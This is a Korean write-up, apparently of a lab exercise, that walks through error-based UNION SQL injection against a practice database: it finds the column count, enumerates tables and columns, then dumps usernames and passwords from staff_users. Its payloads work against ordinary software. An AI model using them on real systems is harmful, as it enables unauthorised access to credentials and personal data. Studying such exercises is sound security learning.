SQL Injection 문제입니다.
In-Band SQL 공격으로 요청을 할 때 서버로부터 응답이 오는 유형입니다.
이 문제에서는 에러를 기반으로 SQL 공격을 진행합니다.

이 문제는 URL의 파라미터에 오류를 유발시켜 SQL 정보를 획득합니다.
id = 1 UNION SELECT 1
이 쿼리는 UNION SELECT 이 원래 SELECT 쿼리와 다른 열 수를 가지고 있음을 알리는 오류 메시지를 생성해야 합니다. 만약 서버가 이 쿼리를 허용하고 결과를 반환하면, SQL 인젝션이 가능한 상태라고 볼 수 있습니다.
오류 메시지 "SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns"는 UNION 구문을 사용할 때, 두 개의 SELECT 문이 반환하는 컬럼 수가 다르다는 것을 의미합니다. UNION을 사용할 때는 두 쿼리가 동일한 컬럼 개수를 반환해야만 합니다.
따라서 1,2,3... 을 대입해 동일한 컬럼 수를 찾아야 합니다.
id = 1 UNION SELECT 1,2

같은 오류이므로 반복합니다.
id = 1 UNION SELECT 1,2,3

데이터 베이스 정보가 출력되었습니다. 이제 열 값 1,2,3을 반환하는 것을 볼 수 있
습니다.
우리는 더 유용한 정보를 검색하기 위해 이러한 반환 값을 이용할 수 있습니다.
먼저 데이터베이스의 이름을 얻을 수 있습니다.
id = 0 UNION SELECT 1,2,3

기본 쿼리 id = 0, 기본적으로 SELECT * FROM article WHERE id = 0 이라는 쿼리가 실행되고 id = 0 에 해당하는 레코드가 없을 경우 빈 결과를 반환 합니다.
UNION은 두 쿼리의 결과를 합쳐 반환하며, 이때 열의 수와 데이터 타입이 일치해야 합니다.
id = 0 UNION SELECT 1,2,3

데이터 베이스 이름이 sqli_one라는 것을 알 수 있습니다.
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

이 쿼리문은 데이터 베이스에 존재하는 테이블을 한줄로 모두 출력하는 쿼리입니다.
sqli_one 데이터 베이스에는 article 테이블과 staff_users 테이블이 존재하는 것을 알 수 있습니다.
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

특정 테이블(staff_users) 내의 모든 컬럼 이름을 한 줄로 연결하여 반환하려는 SQL 인젝션 구문입니다.
id와 username,password 속성이 존재합니다.
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '
') FROM staff_users

staff_users 테이블에서 username과 password를 결합하여 모든 사용자 정보(계정명과 비밀번호)를 한 줄씩 반환하려는 SQL 인젝션 쿼리입니다.

이 문제는 SQL Injection 문제입니다.
첫번째로 오류를 유도해 오류가 발생하면 SQL 공격이 가능하다는 것을 확인합니다.
또한, 쿼리 대입을 시도해 데이터 베이스 이름, 테이블 이름, 속성 이름을 꼬리 물기 방식으로 알아내 비밀번호까지 알아내는 방식입니다.
사실 비밀번호는 법적으로 해시알고리즘에 의해 암호화가 되어 있어 DB가 노출되도
비밀번호를 알 수 없습니다. 하지만 이름, 주소, 휴대폰 번호 등 개인 정보 노출 등이 될 수 있기 때문에 보안 설정은 필수입니다.